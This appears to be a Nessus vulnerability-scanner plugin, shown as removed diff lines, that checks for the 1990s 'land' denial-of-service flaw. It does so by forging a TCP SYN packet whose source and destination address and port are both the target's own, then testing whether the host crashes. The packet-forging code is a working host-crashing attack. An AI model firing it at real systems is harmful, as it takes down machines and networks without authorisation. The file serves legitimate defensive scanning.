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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10133);
- script_bugtraq_id(2666);
- script_version ("$Revision: 1.17 $");
- script_cve_id("CVE-1999-0016");
- name["english"] = "Land";
- name["francais"] = "Land";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "It was possible to make the remote server crash
- using the 'land' attack.
-
- An attacker may use this flaw to shut down this server, thus
- preventing your network from working properly.
-
- Solution : contact your operating
- system vendor for a patch.
-
- Risk factor : High";
-
-
- desc["francais"] = "Il s'est avΘrΘ
- possible de faire planter la
- machine distante en utilisant
- l'attaque 'land'.
-
- Un pirate peut utiliser cette
- attaque pour empecher votre
- rΘseau de fonctionner normallement.
-
- Solution : contactez le vendeur
- de votre OS pour un patch.
-
- Facteur de risque : ElevΘ";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Crashes the remote host using the 'land' attack";
- summary["francais"] = "Plante le serveur distant en utilisant l'attaque 'land'";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_KILL_HOST);
-
-
- script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
- francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
-
-
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- addr = get_host_ip();
- ip = forge_ip_packet( ip_v : 4,
- ip_hl : 5,
- ip_tos : 0,
- ip_len : 20,
- ip_id : 0xF1C,
- ip_p : IPPROTO_TCP,
- ip_ttl : 255,
- ip_off : 0,
- ip_src : addr);
- port = get_host_open_port();
- if(!port)exit(0);
-
- # According to
- # From: "Seeker of Truth" <seeker_sojourn@hotmail.com>
- # To: bugtraq@securityfocus.com
- # Subject: Fore/Marconi ATM Switch 'land' vulnerability
- # Date: Fri, 14 Jun 2002 23:35:41 +0000
- # Message-ID: <F16103xv3Ho8Xu1njpu00003202@hotmail.com>
- # Fore/Marconi ATM Switch FT6.1.1 and FT7.0.1 are vulnerable to a land
- # attack against port 23.
-
- tcpip = forge_tcp_packet( ip : ip,
- th_sport : port,
- th_dport : port,
- th_flags : TH_SYN,
- th_seq : 0xF1C,
- th_ack : 0,
- th_x2 : 0,
- th_off : 5,
- th_win : 2048,
- th_urp : 0);
-
- #
- # Ready to go...
- #
-
- start_denial();
- send_packet(tcpip, pcap_active:FALSE);
- sleep(5);
- alive = end_denial();
- if(!alive){
- set_kb_item(name:"Host/dead", value:TRUE);
- security_hole(0);
- }
-